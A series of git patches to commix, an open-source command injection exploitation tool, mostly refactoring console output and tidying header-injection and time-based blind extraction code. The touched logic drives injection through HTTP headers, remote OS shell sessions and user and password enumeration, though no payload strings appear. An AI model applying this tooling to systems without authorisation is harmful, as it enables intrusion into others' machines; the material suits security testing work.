HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_CHAR = "*" CUSTOM_INJECTION_MARKER = False ASTERISK_MARKER = "__ASTERISK__" -CUSTOM_INJECTION_MARKER_DATA = [] PRE_CUSTOM_INJECTION_MARKER_CHAR = "" +CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] class INJECTION_MARKER_LOCATION(object): URL = False @@ -386,7 +386,7 @@ class INJECTION_MARKER_LOCATION(object): SKIP_NON_CUSTOM = None # Testable parameter(s) - comma separated. -TEST_PARAMETER = "" +TESTABLE_PARAMETERS_LIST = [] TESTABLE_PARAMETERS = None # Skip testing for given parameter(s) - comma separated. From 8894b0c3a356f9e835ebe354d525154ed945f8e4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 26 Jun 2024 07:23:00 +0300 Subject: [PATCH 0473/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/cd55cc54308a8b28aa488ef1cde9dc6e1239b4cd --- src/core/injections/controller/checks.py | 1 + src/core/injections/controller/controller.py | 33 +++++++++----------- src/core/main.py | 4 +-- src/utils/settings.py | 2 +- 4 files changed, 19 insertions(+), 21 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7c08046d11..f7e39096f1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -228,6 +228,7 @@ def skip_testing(filename, url): if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: _ = " testing command injection techniques" else: + settings.SKIP_CODE_INJECTIONS = False _ = " further testing" while True: message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > " diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index dc4911a06c..155b743aa1 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -392,12 +392,11 @@ def user_agent_injection(url, http_request_method, filename, timesec): if not menu.options.shellshock: menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True - if settings.USER_AGENT_INJECTION: - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.USER_AGENT_INJECTION = None + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT + settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() + check_for_stored_sessions(url, http_request_method) + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.USER_AGENT_INJECTION = None menu.options.agent = user_agent def referer_injection(url, http_request_method, filename, timesec): @@ -407,12 +406,11 @@ def referer_injection(url, http_request_method, filename, timesec): menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True - if settings.REFERER_INJECTION: - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.REFERER - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.REFERER_INJECTION = False + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.REFERER + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.REFERER_INJECTION = False menu.options.agent = referer def host_injection(url, http_request_method, filename, timesec): @@ -421,12 +419,11 @@ def host_injection(url, http_request_method, filename, timesec): menu.options.host = _urllib.parse.urlparse(url).netloc menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True - if settings.HOST_INJECTION: - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.HOST - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.HOST_INJECTION = False + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.HOST + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HOST_INJECTION = False menu.options.host = host if not any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)) and \ diff --git a/src/core/main.py b/src/core/main.py index 5141ec6d28..95091f24c8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -329,8 +329,8 @@ def main(filename, url, http_request_method): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True - if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: - settings.CUSTOM_INJECTION_MARKER = False + # if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: + # settings.CUSTOM_INJECTION_MARKER = False # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: diff --git a/src/utils/settings.py b/src/utils/settings.py index b44f444c3b..d83439472a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "76" +REVISION = "77" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0bea897b24de10e884a20ef03833e8cb9e04bb28 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 27 Jun 2024 08:55:56 +0300 Subject: [PATCH 0474/1023] Minor update --- src/core/injections/controller/checks.py | 11 ++++------- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f7e39096f1..7d0f18804c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -228,7 +228,7 @@ def skip_testing(filename, url): if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: _ = " testing command injection techniques" else: - settings.SKIP_CODE_INJECTIONS = False + settings.SKIP_COMMAND_INJECTIONS = False _ = " further testing" while True: message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > " @@ -524,8 +524,7 @@ def PCRE_e_modifier(parameter, http_request_method): elif modifier_check in settings.CHOICE_NO: return original_parameter elif modifier_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) + raise SystemExit() else: common.invalid_option(modifier_check) pass @@ -948,8 +947,7 @@ def ps_check(): elif ps_check in settings.CHOICE_NO: break elif ps_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) + raise SystemExit() else: common.invalid_option(ps_check) pass @@ -1011,8 +1009,7 @@ def check_CGI_scripts(url): menu.options.shellshock = False break elif shellshock_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) + raise SystemExit() else: common.invalid_option(shellshock_check) pass diff --git a/src/utils/settings.py b/src/utils/settings.py index d83439472a..14605a330b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "77" +REVISION = "78" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ebe84fac8a3f06db3590fd447434627d5ffef16e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 28 Jun 2024 08:33:20 +0300 Subject: [PATCH 0475/1023] Improvement regarding writing text to the stdout (console) stream --- commix.py | 2 +- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_enumeration.py | 22 +- .../techniques/time_based/tb_file_access.py | 8 +- .../blind/techniques/time_based/tb_handler.py | 30 +- .../techniques/time_based/tb_injector.py | 42 +-- src/core/injections/controller/checks.py | 322 +++++++++--------- src/core/injections/controller/controller.py | 36 +- src/core/injections/controller/parser.py | 27 +- .../injections/controller/shell_options.py | 10 +- .../techniques/classic/cb_handler.py | 28 +- .../techniques/classic/cb_injector.py | 11 +- .../techniques/eval_based/eb_handler.py | 26 +- .../techniques/eval_based/eb_injector.py | 7 +- .../techniques/file_based/fb_handler.py | 38 +-- .../techniques/file_based/fb_injector.py | 14 +- .../tempfile_based/tfb_enumeration.py | 22 +- .../tempfile_based/tfb_file_access.py | 8 +- .../techniques/tempfile_based/tfb_handler.py | 30 +- .../techniques/tempfile_based/tfb_injector.py | 40 +-- src/core/main.py | 155 +++++---- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/shellshock.py | 64 ++-- src/core/requests/authentication.py | 36 +- src/core/requests/headers.py | 26 +- src/core/requests/parameters.py | 10 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 6 +- src/core/requests/requests.py | 90 +++-- src/core/requests/tor.py | 8 +- src/core/shells/bind_tcp.py | 58 ++-- src/core/shells/reverse_tcp.py | 70 ++-- src/core/tamper/base64encode.py | 4 +- src/core/tamper/hexencode.py | 4 +- src/core/testing.py | 10 +- src/thirdparty/flatten_json/flatten_json.py | 4 +- src/utils/common.py | 62 ++-- src/utils/crawler.py | 20 +- src/utils/install.py | 64 ++-- src/utils/logs.py | 12 +- src/utils/menu.py | 10 +- src/utils/purge.py | 67 +--- src/utils/session_handler.py | 28 +- src/utils/settings.py | 25 +- src/utils/simple_http_server.py | 4 +- src/utils/update.py | 72 ++-- src/utils/version.py | 4 +- 47 files changed, 803 insertions(+), 838 deletions(-) diff --git a/commix.py b/commix.py index d6dabe01ba..d7e607bbbe 100755 --- a/commix.py +++ b/commix.py @@ -42,7 +42,7 @@ def main(): raise SystemExit() except IndentationError as err_msg: from src.utils import settings - print(settings.print_critical_msg(err_msg) + ".\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except: from src.utils import common diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8dbfda995e..a28aaeefbf 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding writing text to the stdout (console) stream. * Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. * Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). * Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`). diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index e549298325..edcebea6fa 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -79,13 +79,13 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_os = output if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if target_os: if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("") + settings.print_data_to_stdout("") check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: @@ -99,7 +99,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") + settings.print_data_to_stdout("\n") # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) @@ -194,7 +194,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 @@ -213,49 +213,49 @@ def reset(): if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().ps_version_msg() powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.hostname: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().hostname_msg() hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.current_user: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().current_user_msg() current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.is_root or menu.options.is_admin: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.sys_info: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().os_info_msg() system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.users: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().print_users_msg() system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.passwords: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index e781aa6293..6e0002f668 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -56,11 +56,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0 and not _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_write_status(shell, dest_to_write) """ @@ -74,7 +74,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_upload_status(shell, dest_to_upload) """ @@ -91,7 +91,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_read_status(shell, file_to_read, filename) """ diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 898664609c..631271bd24 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -131,7 +131,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -252,14 +252,14 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r continue except (KeyboardInterrupt, SystemExit): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise except: @@ -274,7 +274,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r percent = "" else: percent = ".. (" + str(float_percent) + "%)" - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Print logs notification message logs.logs_notification(filename) #raise @@ -324,7 +324,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: @@ -333,7 +333,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -353,7 +353,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print(settings.print_output(output)) + settings.print_data_to_stdout(settings.print_output(output)) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: @@ -377,19 +377,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return False else : - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ The exploitation function. @@ -405,12 +405,12 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " warn_msg += "with the file-based (semiblind) technique." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) go_back = False while True: if go_back == True: return False - message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + message = "How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index f933775410..cd3e9010c6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -188,7 +188,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, found_chars = False info_msg = "Retrieving the length of execution output. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) for output_length in range(int(minlen), int(maxlen)): if alter_shell: # Execute shell commands on vulnerable host. @@ -209,7 +209,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -243,10 +243,10 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if output_length > 1: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) else: sub_content = "Retrieved: " + str(output_length) - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) found_chars = True injection_check = False break @@ -267,8 +267,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: info_msg += "\n" if output_length > 1: - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: @@ -291,7 +291,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -331,8 +331,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, float_percent = ".. (" + str(float_percent) + "%)" info_msg = "Presuming the execution output." info_msg += float_percent - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + else: output.append(chr(ascii_char)) injection_check = False @@ -374,10 +374,10 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Checking the output length of the used payload. if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(".") + settings.print_data_to_stdout(".") for output_length in range(1, 3): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(".") + settings.print_data_to_stdout(".") # Execute shell commands on vulnerable host. if alter_shell: payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) @@ -397,7 +397,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -436,13 +436,13 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese output = [] percent = 0 - sys.stdout.flush() + is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 20): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(".") + settings.print_data_to_stdout(".") if alter_shell: # Get the execution output, of shell execution. payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) @@ -463,7 +463,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -502,7 +502,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese if str(output) == str(randvcalc): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(" (done)") + settings.print_data_to_stdout(" (done)") return how_long, output else: @@ -515,10 +515,10 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - print(settings.print_info_msg(info_msg)) - print(settings.print_output(output)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_output(output)) else: # Check if exists pipe filtration. if output != False : @@ -526,10 +526,10 @@ def export_injection_results(cmd, separator, output, check_how_long): err_msg += "any output due to '" + separator + "' filtration on target host. " err_msg += "To bypass that limitation, use the '--alter-shell' option " err_msg += "or try another injection technique (i.e. '--technique=\"f\"')" - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) raise SystemExit() # Check for fault command. else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7d0f18804c..8c6daf0fe7 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -59,7 +59,7 @@ def exit(): if settings.VERBOSITY_LEVEL != 0: - print(settings.execution("Ending")) + settings.print_data_to_stdout(settings.execution("Ending")) os._exit(0) @@ -70,9 +70,9 @@ def exit(): def check_waf(url, http_request_method): payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD) info_msg = "Checking if the target is protected by some kind of WAF/IPS." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) payload = "".join(random.choices(string.ascii_uppercase, k=4)) + "=" + payload if not "?" in url: payload = "?" + payload @@ -197,7 +197,7 @@ def custom_injection_marker_character(url, http_request_method): def skipping_technique(technique, injection_type, state): if settings.VERBOSITY_LEVEL != 0 and state != True: debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) """ Skipping of further tests. @@ -271,13 +271,13 @@ def mobile_user_agents(): def alert(): if settings.ALERT: info_msg = "Executing alerting shell command(s) '" + str(menu.options.alert) + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: process = subprocess.Popen(menu.options.alert, shell=True) process.wait() except Exception as e: err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) """ Check for HTTP Method @@ -311,7 +311,7 @@ def user_aborted(filename, url): abort_msg = "User aborted procedure " abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." - print(settings.print_abort_msg(abort_msg)) + settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) quit(filename, url, _=True) """ @@ -324,7 +324,7 @@ def connection_exceptions(err_msg): time.sleep(settings.DELAY_RETRY) if not settings.MULTI_TARGETS and not settings.CRAWLING: info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not settings.VALID_URL : if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS: raise SystemExit() @@ -348,7 +348,7 @@ def not_declared_cookies(response): settings.DECLARED_COOKIES = False else: if settings.CRAWLED_SKIPPED_URLS_NUM != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) while True: message = "You have not declared cookie(s), while " message += "server wants to set its own ('" @@ -383,7 +383,7 @@ def tab_autocompleter(): readline.set_completer(menu.tab_completer) except (TypeError, AttributeError) as e: error_msg = "Failed while trying to use platform's readline library." - print(settings.print_error_msg(error_msg)) 